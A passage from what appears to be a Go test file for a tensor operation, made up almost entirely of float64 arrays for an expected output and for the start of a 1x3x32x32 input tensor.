1.8219151, 1.8219151, 0.76449746, 0.76449746, 0.24660219, 0.99213684, 1.9050636, 1.9050636, -0.01477722, -0.033319283, -0.35502872, 0.5310425, 0.5310425, 1.3978963, 1.3978963, 0.9600477, 1.648504, 1.648504, 1.1239053, 1.4261588, 1.4261588, 1.3925184, 1.0375856, 0.8326507, 1.6315974, 1.6315974, 0.5897036, 0.2398671, 1.5848205, 1.5848205, 0.77067304, 0.77067304, 1.8219151, 1.8219151, 1.2961498, 1.2961498, 0.6164593, 0.99213684, 1.9050636, 1.9050636, 0.8805112, 0.08595198, 0.08595198, 0.75194657, 0.5629897, 1.054758, 1.054758, 0.9600477, 1.7746586, 1.7746586, 1.1239053, 0.76943016, 1.3925184, 1.3925184, 1.0375856, 0.30151406, 1.0390965, 1.0390965, 0.5897036, 1.7367749, 1.7367749, 1.5848205, 0.9605572, 0.9605572, 0.8709618, 0.8709618, 2.3207998, 2.3207998, 0.6164593, 0.53659654, 0.43480796, 0.8805112, 0.8805112, 0.732424, 0.08595198, 0.75194657, 0.5629897, 0.2711128, 1.0450233, 1.0450233, 1.7746586, 1.7746586, -0.16221845, 1.151734, 1.151734, 0.33053273, 0.13157398, 0.30151406, 1.0390965, 2.0234718, 2.0234718, 1.7367749, 1.7367749, 2.2436018, 2.2436018, 1.9223248, 1.9223248, 1.4053655, 2.3207998, 2.3207998, 0.53420115, 0.5474806, 0.5474806, 0.54009444, 0.732424, 0.732424, 0.54100823, -0.085115604, 0.966768, 0.966768, 1.0450233, 1.0450233, 0.59903955, 0.5232617, 0.09920486, 1.576299, 1.576299, 0.5023282, 0.16066119, 0.16066119, 1.6085222, 2.0234718, 2.0234718, 0.50538695, 0.35924914, 2.2436018, 2.2436018, 1.9223248, 1.9223248, 1.4053655, 1.6180543, 1.6180543, 0.42258036, 0.5474806, 0.5474806, 0.51283646, 0.6027077, 0.6027077, 0.54100823, -0.085115604, 0.966768, 0.966768, 0.6251187, -0.5216415, 0.5232617, 0.5232617, 0.09920486, 1.576299, 1.576299, 0.5023282, 0.16066119, 0.16066119, 1.6085222, 1.6085222, 1.1452621, 1.1452621, 0.7741606, 0.7741606, 0.10490716, 0.13391292, 0.31943184, 0.31943184, -0.13777922, 1.4961396, 1.4961396, 1.3462211, 1.3462211, 0.51283646, 0.62251914, 0.62251914, -0.5946498, 0.5684589, 0.4804245, 0.6251187, 0.83135104, 0.83135104, 0.48797268, 2.6429358, 2.6429358, 2.290467, 2.290467, 1.6002678, -0.059928004, -0.22007579, 1.3086687, 1.3086687, 1.1452621, 1.5259576, 1.5259576, 0.8820566, 0.8820566, 0.13391292, 0.13391292, 0.3718111, 0.45730963, 1.4961396, 1.4961396, 1.3462211, 1.3462211, 1.5885307, 1.5885307, 0.7747283, 0.7747283, 0.5684589, 0.4804245, 0.4804245, 1.0400863, 1.0400863, 0.88518757, 2.6429358, 2.6429358, 2.290467, 2.290467, 1.6002678, -0.008209882, 1.0429776, 1.0429776, 0.41409135, 0.24676603, 1.5259576, 1.5259576, 0.8820566, 0.8820566, 0.13191175, 0.76877064, 0.76877064, 0.45730963, 0.9623417, 0.9623417, 1.9470986, 1.9470986, 1.5885307, 1.5885307, 1.0212247, 0.7747283, 2.4512298, 0.41133425, 0.0025711823, 1.0400863, 1.0400863, 0.88518757, 1.4737648, 1.6606076, 1.6606076, 1.171041, -0.008209882, -0.008209882, 1.0429776, 1.0983036, 1.0983036, 0.15466884, 1.0415684, 1.0415684, 0.9785673, 0.9785673, 0.13191175, 0.76877064, 0.76877064, -0.4213276, 0.8756957, 0.8756957, 1.9470986, 1.9470986, 0.8091803, 1.0212247, 1.2016978, 1.2016978, 2.4512298, 0.87938994, 0.87938994, 0.63542455, 0.71593887, 0.71593887, 0.8809376, 1.8081318, 1.8081318, 0.43663847, 0.69643867, 0.69643867, 0.65178126, 1.0983036, 1.0983036, 0.025385605, 0.61039174, 0.61039174, 0.9785673, 1.7612661, 1.7612661, 0.7540957, 0.66596717, 0.11255753, 0.50099224, 0.50099224, 0.9361076, 0.9361076, 0.8091803, 0.88649154, 1.2016978, 1.2016978, 0.2847906, 0.87938994, 0.87938994, 0.63542455, 0.71593887, 0.71593887, 0.8809376, 1.8081318, 1.8081318, 0.43663847, 0.69643867, 0.69643867, 0.6878814, 1.3480358, 1.3480358, 2.6805708, 2.6805708, -0.20080851, -0.7401368, 1.7612661, 1.7612661, 0.7540957, 1.3185511, 1.3185511, 0.11255753, 0.067516856, 0.77760416, 0.77760416, 0.33601573, 0.88649154, 0.88649154, -0.27213177, 0.5483281, 0.5483281, 0.19718106, 1.0590272, 1.0590272, 0.5665453, 1.2572197, 1.2572197, 0.49872696, 0.81786186, 0.81786186, 0.6878814, 0.6878814, 1.3480358, 1.3480358, 2.6805708, 2.6805708, -0.16137354, 1.7944489, 1.7944489, 2.2320163, 2.2320163, 1.367415, 1.367415, 0.15364446, 0.15364446, 0.8444543, 0.8444543, 0.28376955, 0.33905926, 0.33905926, -0.58963203, 0.5483281, 1.7406294, 1.7406294, 1.0590272, 1.0590272, 0.87672675, 1.2572197, 1.2572197, 0.94940555, 0.94940555, 0.81786186, 0.23820019, 1.1493794, 1.1493794, 0.29751435, 1.3554426, 1.3554426, 0.58822495, 1.7944489, 1.7944489, 2.2320163, 2.2320163, 1.367415, 1.5877615, 1.5877615, 0.15364446, 0.99675965, 0.99675965, 0.28376955, 0.28376955, 0.079121724, 0.079121724, 0.8505307, 1.7406294, 1.7406294, 0.91722155, 0.91722155, 1.8666831, 1.8666831, 0.75746834, 1.238007, 1.238007, -0.086455286, 0.6234536, 1.1493794, 1.1493794, 0.51291686, 0.64305454, 0.64305454, 0.58822495, 2.5402317, 2.5402317, 0.9265583, 0.55808187, 0.15011522, 1.5877615, 1.5877615, 1.1277837, 1.0329891, 1.0329891, 1.4121517, 1.4121517, 0.079121724, 0.079121724, 0.8505307, -0.14989159, 0.084968135, 0.084968135, 0.5319746, 1.8666831, 1.8666831, 0.75746834, 1.238007, 1.238007, 2.2113044, 2.2113044, 0.8906717, 0.8906717, 0.51291686, 0.22734594, 1.6142496, 1.6142496, 2.5402317, 2.5402317, 0.9265583, 0.55808187, 1.5480669, 1.5480669, 1.1277837, 1.1277837, 1.0329891, 1.0329891, 1.4148741, 1.4148741, 0.15647626, -0.21634398, 0.44284612, 0.21839707, -0.25271067, -0.25271067, 0.6563907, 1.2605689, 1.2605689, 0.16586353, 1.3291413, 1.3291413, 2.2113044, 2.2113044, 1.9367125, 1.9367125, 0.38220277, 0.38220277, 1.6142496, 1.6142496, 1.0085973, 0.52759737, 0.8065638, 0.8065638, 1.5480669, 1.5480669, 1.1483506, 1.4028448, 1.4028448, 0.8246182, 1.4148741, 1.4148741, 0.15647626, -0.21634398, 0.56800735, 0.56800735, 0.08261103, 0.018922104, 0.6563907, 0.6563907, 1.0139722, 1.0139722, 1.3291413, 1.3291413, 1.0097119, 1.0097119, 1.9367125, 2.171165, 2.171165, 0.66207427, 1.1615338, 1.1615338, 2.190898, 2.190898, 0.9836362, 0.8065638, 0.25233144, 1.2098501, 1.2098501, 1.4028448, 1.4587147, 2.1531198, 2.1531198, 0.4683049, 0.6572677, 0.6572677, 0.56800735, 0.56800735, 0.62656426, 0.62656426, 0.018922104, 0.8449956, 1.0139722, 1.0139722, 2.042072, 2.042072, 1.0097119, 1.0097119, 0.72934633, 2.171165, 2.171165, 0.66207427, 0.53916126, 0.53916126, 2.190898, 2.190898, 0.9836362, 0.25233144, 0.60799253, 1.2098501, 1.2098501, 1.5612797, 1.5612797, 2.1531198, 2.1531198, 0.59936935, 0.6572677, 0.6572677, 0.46079433, 0.17124355, 1.4263169, 2.4884417, 2.4884417, 1.6959696, 1.8334354, 1.8334354, 2.042072, 2.042072, 0.46637958, -0.09439251, 0.72934633, 0.8020517, 0.8020517, 0.60413677, 0.60413677, -0.024549423, -0.8358561, 1.966764, 1.966764, 0.24664895, 1.419255, 1.419255, 0.9341797, 1.5612797, 1.5612797, 0.18418126, 0.21301717, 1.279812, 1.279812, -0.2563169, 0.46079433, -0.009657237, 1.4263169, 2.4884417, 2.4884417, 1.6959696, 1.8334354, 1.8334354, 1.801214, 1.801214, 0.46637958, -0.09439251, 0.8962484, 0.8962484, 0.88686466, 1.103694, 1.103694, 0.4005307, 0.13545467, 1.966764, 1.966764, 1.8593464, 1.419255, 1.419255, 0.9341797, 0.86900634, 1.1149246, 1.1149246, 0.024290914, 1.279812, 1.279812, 0.60896236, 0.40088567, 0.0032222164, -0.55598503, 0.19321355, 1.2973421, 1.2973421, 1.001331, 0.8179776, 1.801214, 1.801214, 1.4622141, 1.4622141, 0.8962484, 0.8962484, 0.88686466, 1.103694, 1.103694, 0.77905124, 0.13545467, 0.9687444, 1.8593464, 1.8593464, -0.13482246, 2.6205738, 2.6205738, 0.33510563, 1.1149246, 1.1149246, 0.013748487, 0.8253722, 0.8253722, 0.60896236, 0.0032222164, 0.021857359, 0.042539075, 1.5309323, 1.5309323, 0.18345025, 0.2727964, 0.8179776, 0.8179776, 1.4315678, 1.4622141, 1.4622141, 0.5383296, -0.14244542, -0.12656933, 0.4936441, 0.77905124, 0.77905124, 0.99012136, 0.99012136, 0.9687444, -0.021869909, -0.27120733, 2.6205738, 2.6205738, 1.7025702, 0.06763423, 0.44702417, 0.44702417, 0.8253722, 0.8253722, -0.29832315, 1.4219756, 0.45636335, 0.042539075, 1.5309323, 1.5309323, 0.092447735, -0.099008314, 0.777277, 0.777277, 0.5541276, 0.5541276, 0.5383296, 0.5383296, 0.71966815, 0.71966815, 0.4936441, 0.4936441, 0.48701534, 0.99012136, 0.99012136, -0.015779218, 0.9541896, 0.9541896, 0.54414475, 1.7025702, 1.7025702, 1.7148316, 1.7148316, 0.44702417, 0.17233914, 1.3985621, 1.3985621, 1.4219756, 0.7825789, 1.7975394, 1.7975394, 0.54565734, 0.54565734, 0.1508182, 1.6857923, 1.6857923, 0.5541276, 0.91064566, 0.91064566, -0.029856121, 0.71966815, 0.71966815, 0.038127385, 0.51271755, 0.51271755, 0.27566653, -0.015779218, -0.015779218, 1.2577442, 1.2577442, 0.54414475, 0.4472121, 1.4558079, 1.7148316, 1.7148316, 1.4849256, 0.4595849, 1.3985621, 1.3985621, 1.3905339, 0.7825789, 1.7975394, 1.7975394, 1.2165778, 1.2165778, 2.0347626, 2.0347626, 1.6857923, 0.9508337, 0.91064566, 0.91064566, 0.57275134, 0.67755705, 1.3071839, 1.3071839, 0.51271755, 0.8591042, 0.8591042, 0.8733118, 1.1997361, 1.2577442, 1.2577442, 0.041082226, 0.5934659, 1.4558079, 2.1982963, 2.1982963, 1.4849256, 0.4595849, 0.4595849, 0.28005785, 1.3905339, -0.15503581, 0.078514025, 0.41780058, 1.2165778, 1.2165778, 2.0347626, 2.0347626, 1.5743712, 1.5743712, 1.9887319, 1.9887319, 1.1172835, 0.67755705, 1.3071839, 1.3071839, 0.030546581, 1.2697648, 1.2697648, 0.8733118, 1.1997361, 1.1997361, 0.45615304, 0.7750233, 0.7750233, 0.5934659, 2.1982963, 2.1982963, 0.0012484558, 0.0012484558, -0.15993978, -0.58957994, -0.59815043, 0.4178537, 0.4178537, 0.41780058, 0.41780058, 1.342622, 1.8022423, 1.8022423, 1.5743712, 1.5743712, 1.9887319, 1.9887319, 1.4015235, 0.15843384, 1.054325, 1.054325, 0.030546581, 1.2697648, 1.2697648, 0.017515613, 0.32362577, 0.32362577, -0.020129103, 0.7750233, 0.92914516, 0.92914516, 0.37117255, 0.6436313, 0.68889666, 0.68889666, 0.2746472, -0.6036204, 0.70885956, 0.42281857, 0.64445204, 0.64445204, 0.6635616, 1.342622, 1.342622, 1.3151376, 1.3151376, 0.19782817, 1.0598063, 1.4015235, 1.4015235, 0.7435535, 0.7435535, 0.21035936, 1.36606, 1.555114, 1.555114, 0.61332625, 1.496911, 1.496911, 1.1831195, 0.71889716, 0.92914516, 0.92914516, 0.37117255, 0.6436313, 0.68889666, 0.68889666, 1.2729537, 1.2729537, 0.70885956, 0.42281857, 0.64445204, 0.64445204, 0.6635616, 0.6635616, 1.1936116, 1.1936116, -0.09816121, -0.14735366, 1.0598063, 1.0598063, 0.026246618, 0.7435535, 0.7435535, 0.21035936, 1.36606, 1.555114, 1.555114, 0.61332625, 1.496911, 1.496911, 1.1831195, 0.71889716, 0.14067191, 0.14067191, -0.15901226, 0.24005693, 0.24005693, 0.10015941, 1.2729537, 1.2729537, 0.73018354, 0.73018354, 0.38259813, 0.38259813, 0.87830377, 0.87830377, 1.2815113, 1.9142298, 1.9142298, 1.6266496, 1.6266496, 2.9290962, 2.9290962, 1.0805441, 1.0805441, 0.45616361, 0.45616361, 0.5707885, 1.5427964, 1.5427964, 1.3821819, 1.4867824, 1.4867824, 1.5116394, 1.7064682, 1.7064682, 0.70178336, 0.48334184, 0.50496995, 1.7236962, 1.7236962, 1.414415, 0.3257996, 0.124769524, -1.0126731, 0.32335654, 1.400689, 1.400689, 1.2815113, 1.9142298, 1.9142298, 1.6266496, 1.6266496, -0.0150050875, 0.41609964, 1.0805441, 1.0805441, 0.45616361, 0.66414404, 0.66414404, 1.5427964, 1.8961822, 1.8961822, 0.40955177, 0.40955177, 1.5116394, 1.7064682, 1.7064682, 0.70178336, 0.07328543, 0.5298338, 1.7108365, 1.7108365, 1.414415, -0.063661486, -0.11244375, 0.89786416, 0.89786416, 1.400689, 1.400689, 0.50481546, 1.3031809, 1.3031809, 1.0659268, 0.063896194, -0.9659539, 0.41609964, 0.41609964, 0.12253132, 0.12253132, 0.66414404, 0.66414404, 1.1279566, 1.8961822, 1.8961822, -0.28157544, -0.28157544, 0.44478136, 1.0223923, 1.0223923, 2.2856011, 2.2856011, 0.5298338, 0.8097407, 1.0799313, 1.0799313, 1.094167, -0.11244375, 1.131812, 1.131812, 0.29507577, -0.49941677, 0.1746801, 0.1746801, 1.2505698, 1.2505698, 0.063896194, -0.8633556, 0.14166717, 0.14166717, 1.3440744, 1.3440744, 0.5000167, -0.6289807, 1.1279566, 1.1279566, 1.7345722, 1.7345722, 0.57261336, 0.57261336, 0.87550914, 1.0985817, 2.2856011, 2.2856011, 0.81345224, 0.8097407, 1.0799313, 1.0799313, 1.094167, 0.42425263, 1.6295, 1.6295, -0.3000036, -0.3000036, -0.9325702, 1.7969185, 1.7969185, 1.2505698, -0.19871506, 1.4198639, 1.4198639, 0.6795679, 1.3440744, 1.3440744, 0.5670582, 0.9882406, 1.0700725, 1.0700725, 1.7345722, 1.7345722, 1.1035038, 0.57261336, 1.4099522, 1.4099522, 1.0985817, 0.81345224, 0.81345224, 0.75386566, 0.75386566, 0.36559147, 0.5880377, 1.55701, 1.6295, 1.6295, -0.3000036, -0.18779492, 0.4869373, 1.7969185, 1.7969185, 0.5953003, 1.1641518, 1.4198639, 1.4198639, 0.7289299, 0.6795679, -0.32125893, 0.5670582, 0.9882406, 1.0137506, 1.0137506, 0.50666904, 1.1035038, 1.1035038, 0.5569641, 1.4099522, 1.4099522, 0.77946055, 0.77946055, 0.28791544, 0.28791544, 0.36559147, 0.36559147, 0.924434, 1.55701, 1.55701, 1.0121332, 1.6184593, 1.6184593, 0.57110983, 0.4869373, 0.20579681, 0.5953003, 1.1641518, 1.1641518, 0.7289299, 0.7289299, -0.034475047, 0.072677895, 0.072677895, 0.3327982, 1.0137506, 1.0137506, 0.50666904, 2.4643219, 2.4643219, 1.1320051, 1.1320051, 0.6530373, -0.18844908, 0.2872573, 0.2872573, 1.3363862, 1.3363862, -0.0842233, 0.924434, 0.924434, 1.0121332, 1.7140515, 1.7140515, 1.6184593, 0.7669904, -0.45962644, 0.20579681, 0.3263751, 1.4831287, 1.4831287, 0.23908707, 0.650042, 0.650042, 0.23868157, 0.23868157, -0.11622244, 0.85464275, 0.85464275, 0.92660475, 2.4643219, 2.4643219, 1.1320051, 1.1320051, 0.409295, 0.39710623, 0.49964696, 0.49964696, 1.3363862, 1.3363862, -0.120041125, 0.46146888, -0.046481155, 0.037996013, 1.7140515, 1.7140515, 0.7669904, 0.86214805, 0.86214805, 0.4883706, 0.9659361, 1.4831287, 1.9612269, 1.9612269, 0.650042, 0.650042, 1.0616002, 1.0616002, -0.11622244, 0.830386, 0.830386, 0.92660475, 1.8004627, 1.8004627, 0.51650745, 0.51650745, 0.409295, 0.39710623, 0.49964696, 0.49964696, 0.24622276, 0.24622276, 0.09082593, 1.3970653, 1.497715, 1.497715, 0.5652672, 0.54985684, 0.40713033, 0.86214805, 0.86214805, 0.8989674, 0.9659361, 1.4226048, 1.9612269, 1.9612269, 1.3752254, 1.4994915, 1.4994915, 1.0616002, -0.86050975, 0.830386, 0.830386, 0.8576619, 0.8576619, 0.40807465, 1.0770375, 1.0770375, 0.016491488, 0.5746089, 0.5746089, 0.65880215, 0.65880215, 0.16987796, 0.09082593, 1.3970653, 1.497715, 1.497715, 0.81547195, 0.48096985, 0.48096985, 0.85282975, 0.85282975, 1.0044192, 1.0044192, 1.3141544, 1.3141544, 1.3752254, 1.3752254, 1.9258057, 1.951761, 1.951761, 1.2399405, 0.93858516, 0.5125622, 0.8576619, 0.8576619, -0.1105905, 1.0770375, 1.0770375, -0.22482656, 0.7920415, 0.7920415, 0.65880215, 0.65880215, 0.1118724, -0.22295918, 0.3105647, 0.3105647, 0.81547195, 0.81547195, 0.48096985, 0.69865024, 0.85282975, 0.85282975, 1.0044192, 1.0044192, 0.7315516, 0.6335339, 0.6335339, 0.8927082, 1.9258057, 1.951761, 1.951761, 1.9093426, 1.9093426, 1.6638731, 0.90082276, -0.35911658, -0.50900584, 1.6531498, 1.6531498, 0.38616636, 0.7920415, 0.7920415, 0.38182402, 0.3982961, 0.3982961, -0.67570317, 1.2228775, 0.3105647, 0.9719703, 0.9719703, 0.35026592, 0.69865024, 0.69865024, 0.5216252, 0.49689314, 0.7315516, 0.7315516, 0.3196498, -0.40985453, 0.8927082, 0.8927082, 0.63438666, 1.6292758, 1.9093426, 1.9093426, 1.6638731, 0.90082276, 0.7046427, 0.7046427, 1.6531498, 1.6531498, 0.7703309, 0.47348827, 1.8552462, 1.8552462, 1.4156562, 0.98967946, 0.98967946, 1.2228775, 1.1363881, 0.9719703, 0.9719703, 0.572627, 1.9026182, 1.9026182, -0.09302414, -0.18808974, 1.1778295, 1.1778295, -0.40176374, 0.3750199, 0.7979132, 0.7979132, 0.63438666, 1.6292758, 1.6292758, 0.13906415, -0.8576702, 0.88833886, 0.88833886, 0.7046427, 0.93679523, 0.93679523, 1.3289608, 1.3289608, 1.8552462, 1.8552462, 1.4156562, 0.98967946, 0.98967946, 1.1363881, 1.1363881, 0.67161655, 0.2501139, 0.572627, 1.9026182, 1.9026182, 0.64221096, 1.040239, 1.1778295, 1.1778295, 1.1445535, 1.1445535, 1.283455, 1.283455, 2.1886187, 2.1886187, 0.90072393, 0.90072393, 0.8913641, 0.88833886, 0.88833886, -0.52474195, 0.1265688, 0.7930071, 1.3289608, 1.3289608, 0.86301714, 0.86301714, 0.7271749, 0.7375215, 0.7375215, 0.43311873, 1.3207943, 1.3207943, 0.2501139, -0.28339776, 0.8165349, 0.8165349, 0.64221096, 1.040239, 1.0875463, 1.0875463, 1.1445535, 1.1445535, 1.283455, 1.283455, 2.1886187, 2.1886187, 0.90072393, 0.90072393, 0.8913641, -0.17248231, 0.29577908, 0.8425888, 0.8425888, 0.7930071, 0.7930071, 1.0061071, 1.0061071, 1.9595621, 1.9595621, 0.9423143, 0.7375215, 0.7550497, 1.3207943, 1.3207943, -0.09406245, 0.39756522, 0.8165349, 0.8165349, 0.6006052, 0.6006052, 1.0875463, 1.0875463, 0.73930454, 0.61915493, -0.8907292, 0.9219348, 0.9219348, 0.5225576, 0.5225576, 0.45028883, 0.45028883, 1.2341441, 1.4498476, 1.4498476, 0.8425888, 0.24561642, -0.03299648, 1.0061071, 1.0061071, 2.0118642, 2.0118642, 1.336235, 1.336235, 1.3423537, 0.6021635, 0.8732731, 1.9741, 1.9741, 0.47780856, -0.060137887, 0.6006052, 1.0241649, 1.0241649, 0.24461035, 0.089076206, 0.089076206, 0.26473877, 0.9219348, 0.9219348, 0.59542316, 0.59542316, 0.45028883, 0.45028883, 1.2341441, 1.4498476, 1.4498476, -0.24508175, -0.24508175, 0.3140257, 0.37287602, 0.8862932, 2.0118642, 2.0118642, 1.336235, 1.336235, 1.3423537, 0.6498296, 0.8732731, 1.9741, 1.9741, 1.8571023, 1.8571023, 0.41467425, 1.0241649, 1.0241649, 0.24461035, 0.6500845, 1.8209393, 1.8209393, 1.4540358, 1.4540358, 0.59542316, 1.0703601, 1.0703601, 1.2424939, 1.2424939, 1.060715, 1.060715, 0.66200536, 0.66200536, 0.3140257, 0.37287602, 0.8862932, 0.8862932, 0.7312936, 0.07077408, 0.07077408, 0.8188394, 0.6498296, 0.6498296, 0.4347888, 0.09725088, 1.8571023, 1.8571023, 0.66939247, 0.73860705, 1.3042139, 1.3042139, 0.6500845, 1.8209393, 1.8209393, 1.4540358, 1.4540358, 0.2934714, 1.0703601, 1.0703601, 1.2424939, 1.2424939, 0.65592444, -0.038476657, 0.66200536, 0.66200536, 0.50434357, -0.21653287, -0.21653287, 0.7312936, 0.8123336, 0.8123336, 0.54627186, 0.51226676, 0.51226676, 0.3251987, 0.3251987, 0.09725088, 0.679944, 0.679944, 0.66939247, 2.2542837, 2.2542837, 1.3042139, 0.2598325, -0.6783298, -0.083288394, 1.6028637, 1.6028637, 0.4655892, 1.176787, 1.176787, 1.6973464, 1.6973464, 0.65592444, 0.17462958, 0.982327, 1.0374448, 1.0374448, 0.15919177, -0.5053407, -0.5053407, 0.8123336, 0.8123336, 0.54627186, 0.51226676, 0.51226676, 0.08584311, 0.7510253, 0.7510253, 0.8375479, 1.9608808, 1.9608808, 2.2542837, 2.2542837, 1.2098372, 1.2098372, -0.6783298, -0.083288394, 1.6028637, 1.6028637, 0.78990495, 1.176787, 1.176787, 1.6973464, 1.6973464, 0.7591567, 0.17462958, 0.982327, 1.0374448, 1.0374448, 0.5769559, 0.5769559, 0.23497719, 0.6289996, 0.6289996, 0.31403384, 1.0122606, 1.0122606, 0.92874193, 1.081056, 1.5723304, 1.5723304, 1.9608808, 1.9608808, 0.79388034, 0.04399551, 1.2098372, 1.2098372, 0.32099947, 0.32099947, 0.5922057, 0.5922057, 0.78990495, 1.1022825, 1.1022825, 0.5769346, 0.8183537, 0.8183537, 0.100564204, 0.1066523, 1.5190033, 1.5190033, 1.90134, 1.90134, 0.27441698, 0.6289996, 0.6289996, 0.31403384, 1.0122606, 1.0122606, 0.92874193, 1.081056, 1.5723304, 1.5723304, 0.13998847, 0.79388034, 0.79388034, 0.04399551, 0.49097106, 0.8655252, 1.2740445, 1.2740445, 0.5922057, 0.5922057, 0.37317473, 1.0826722, 1.0826722, 1.072636, 1.072636, 0.8183537, -0.13580984, 1.0222104, 1.5190033, 1.5190033, 1.90134, 1.90134, 1.2466952, 1.2466952, 0.70068014, 0.6966507, -0.20697448, 0.6772459, 0.6772459, 0.022212664, 0.8982406, 0.8982406, 0.13998847, 0.9091885, 0.9091885, 0.08071989, 0.49097106, 0.8655252, 2.3374097, 2.3374097, 0.4693722, 1.5237712, 1.5237712, 1.0826722, 1.0826722, 1.226664, 1.226664, 0.8261257, 0.8261257, 1.0222104, 1.0222104, 0.13603121, 0.13603121, 0.5614499, 1.2466952, 1.2466952, 0.70068014, 0.6966507, -0.20697448, 0.6772459, 0.6772459, 1.3257079, 1.3257079, 0.8982406, 0.09152195, 1.0534397, 1.0534397, 1.0147377, 1.4403037, 1.4403037, 2.3374097, 2.3374097, 1.5148823, 1.6043264, 1.6043264, 0.20806953, -0.4292239, 1.226664, 1.226664, 0.8261257, 0.8261257, -0.057756558, -0.21716312, 0.13603121, 0.13603121, 0.5614499, 0.5614499, -0.33275875, -0.20400788, -0.20400788, 1.2598753, 1.2598753, 0.44786966, 1.3257079, 1.3257079, 1.0121683, 1.3841867, 1.3841867, 1.252002, 1.0147377, 1.4403037, 1.4403037, 1.6264315, 1.6264315, 1.5148823, 1.6043264, 1.6043264, 0.6941287, 0.66396505, 0.8220764, 0.8220764, -0.21321523, -0.15279447, 0.59172696, 0.59172696, -0.13022317, 0.61295235, 0.61295235, 0.12955453, 1.17942, 1.17942, 0.836636, 1.2598753, 1.2598753, 0.24099673, -0.28044778, 0.40508026, 1.0121683, 1.3841867, 1.3841867, 1.252002, 0.71178526, 0.27372944, 0.5620131, 0.7955496, 0.7955496, 0.49585068, 0.49585068, 0.6941287, 0.6941287, 0.66396505, 0.8220764, 0.8220764, 1.2412993, 1.2412993, 0.59172696, 0.59172696, -0.05872619, 0.61295235, 0.61295235, 0.12955453, 1.17942, 1.9457614, 1.9457614, 1.0723007, 1.0723007, -0.3070685, -0.3070685, 0.8528891, 0.8528891, 0.16491273, 0.16491273, 0.71178526, 1.9677297, 1.9677297, 0.44768322, 0.7955496, 0.7955496, 0.49585068, 0.49585068, 0.49908426, 0.49908426, 2.0791767, 2.0791767, 0.31263396, 1.2412993, 1.2412993, 1.5932736, 1.5932736, 0.5687224, 0.25163025, 0.25163025, -0.17724662, 0.19939707, 1.9457614, 1.9457614, 1.0723007, 1.0723007, 0.2791965, 0.004174999, 0.8528891, 0.8528891, 0.13468726, 0.13468726, 0.10233585, 1.9677297, 1.9677297, 0.44768322, -0.15065365, -0.15065365, -0.23469436, 0.8997308, 0.8997308, 0.32003194, 2.0791767, 2.0791767, 0.4723279, 0.9663058, 0.9663058, 1.5932736, 1.5932736, 0.74380016, 0.74380016, 0.5921491, -0.3937337, 0.085252576, 1.6616518, 1.6616518, 2.3602285, 2.3602285, 0.5555456, 0.43952233, 0.99914986, 0.99914986, 2.1600132, 2.1600132, -0.01155552, 0.83949065, 1.0923389, 1.0923389, 0.5668694, 0.5668694, -0.23469436, 0.8997308, 0.8997308, 0.76354146, 1.5703039, 1.5703039, 0.4723279, 0.9663058, 0.9663058, 0.21023144, 0.8961672, 0.8961672, 0.74380016, 1.1781894, 1.1781894, -0.94154567, 1.6616518, 1.6616518, 2.3602285, 2.3602285, 0.5555456, 0.43952233, 0.99914986, 0.99914986, 2.1600132, 2.1600132, -0.100301705, 0.302561, 1.0923389, 1.0923389, 0.5668694, 0.5668694, -0.5062735, -0.48948243, 0.76354146, 0.76354146, 0.1926161, 0.1926161, -0.34341785, -0.84721017, -1.2028884, -1.2028884, 0.8961672, 0.8961672, 0.15865193, 1.1781894, 1.1781894, -0.94154567, 0.25471553, 0.25471553}),
),
},
{
inputT: tensor.New(tensor.WithShape(1, 3, 32, 32),
tensor.WithBacking([]float64{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576, -2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546, -1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216, 0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275, -1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522, -0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029, -0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229, 0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117, -0.67246044, -0.35955316, -0.8131463, -1.7262826, 0.17742614, -0.40178093, -1.6301984, 0.46278226, -0.9072984, 0.051945396, 0.7290906, 0.12898292, 1.1394007, -1.2348258, 0.40234163, -0.6848101, -0.87079716, -0.5788497, -0.31155252, 0.05616534, -1.1651498, 0.9008265, 0.46566245, -1.5362437, 1.4882522, 1.8958892, 1.1787796, -0.17992483, -1.0707526, 1.0544517, -0.40317693, 1.222445, 0.20827498, 0.97663903, 0.3563664, 0.7065732, 0.01050002, 1.7858706, 0.12691209, 0.40198937, 1.8831507, -1.347759, -1.270485, 0.9693967, -1.1731234, 1.9436212, -0.41361898, -0.7474548, 1.922942, 1.4805148, 1.867559, 0.90604466, -0.86122566, 1.9100649, -0.26800337, 0.8024564, 0.947252, -0.15501009, 0.61407936, 0.9222067, 0.37642553, -1.0994008, 0.2982382, 1.3263859, -0.69456786, -0.14963454, -0.43515354, 1.8492638, 0.67229474, 0.40746182, -0.76991606, 0.5392492, -0.6743327, 0.031830557, -0.6358461, 0.67643327, 0.57659084, -0.20829876, 0.3960067, -1.0930616, -1.4912575, 0.4393917, 0.1666735, 0.63503146, 2.3831449, 0.94447947, -0.91282225, 1.1170163, -1.3159074, -0.4615846, -0.0682416, 1.7133427, -0.74475485, -0.82643855, -0.09845252, -0.6634783, 1.1266359, -1.0799315, -1.1474687, -0.43782005, -0.49803245, 1.929532, 0.9494208, 0.08755124, -1.2254355, 0.844363, -1.0002153, -1.5447711, 1.1880298, 0.3169426, 0.9208588, 0.31872764, 0.8568306, -0.6510256, -1.0342429, 0.6815945, -0.80340964, -0.6895498, -0.4555325, 0.017479159, -0.35399392, -1.3749512, -0.6436184, -2.2234032, 0.62523144, -1.6020577, -1.1043833, 0.05216508, -0.739563, 1.5430146, -1.2928569, 0.26705086, -0.039282817, -1.1680934, 0.5232767, -0.17154633, 0.77179056, 0.82350415, 2.163236, 1.336528, -0.36918184, -0.23937918, 1.0996596, 0.6552637, 0.64013153, -1.616956, -0.024326125, -0.7380309, 0.2799246, -0.09815039, 0.9101789, 0.3172182, 0.78632796, -0.4664191, -0.94444627, -0.4100497, -0.017020414, 0.37915173, 2.259309, -0.042257152, -0.955945, -0.34598178, -0.463596, 0.48148146, -1.540797, 0.06326199, 0.15650654, 0.23218104, -0.5973161, 